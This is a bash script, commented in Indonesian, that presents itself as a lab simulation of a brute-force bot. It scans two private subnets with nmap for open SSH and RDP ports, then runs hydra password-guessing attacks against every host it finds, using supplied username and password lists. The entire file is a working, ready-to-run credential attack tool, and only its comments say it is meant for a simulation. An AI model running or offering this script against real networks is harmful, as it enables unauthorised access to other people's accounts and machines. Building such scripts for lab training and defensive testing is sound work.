#!/bin/bash

# Simulasi Bot Brute Force SSH dan RDP
# Lokasi File ini ada di PC 1 (Kali : 192.168.156.208, Windows : 192.168.156.117)
# Pada direktori /home/kali/simulasi_bot_bruteforce.sh

# Konfigurasi subnet jaringan
SUBNET1="192.168.156.0/24"
SUBNET2="192.168.104.0/21"

# File daftar username dan password
USERNAME_LIST="username.txt"
PASSWORD_LIST="pass.txt"


# Scan IP dengan port 22 (SSH)
echo "Scan host IP pada subnet $SUBNET1 dan $SUBNET2 untuk SSH (port 22)..."
nmap -p 22 --open -oG - $SUBNET1 $SUBNET2 | grep "22/open" | awk '{print $2}' > ssh_targets.txt

# Scan IP dengan port 3389 (RDP)
echo "Scan host IP pada subnet $SUBNET1 dan $SUBNET2 untuk RDP (port 3389)..."
nmap -p 3389 --open -oG - $SUBNET1 $SUBNET2 | grep "3389/open" | awk '{print $2}' > rdp_targets.txt

# Brute Force SSH
if [ -s ssh_targets.txt ]; then
    echo "Memulai brute force SSH..."
    while read ip; do
        echo "Menyerang SSH: $ip"
        hydra -L "$USERNAME_LIST" -P "$PASSWORD_LIST" ssh://$ip -t 4 -f -o hasil_ssh_$ip.txt
    done < ssh_targets.txt
else
    echo "Tidak ada target SSH yang ditemukan."
fi

# Brute Force RDP
if [ -s rdp_targets.txt ]; then
    echo "Memulai brute force RDP..."
    while read ip; do
        echo " Menyerang RDP: $ip"
        hydra -L "$USERNAME_LIST" -P "$PASSWORD_LIST" rdp://$ip -V -o hasil_rdp_$ip.txt
    done < rdp_targets.txt
else
    echo "Tidak ada target RDP yang ditemukan."
fi

echo "Simulasi brute force selesai."
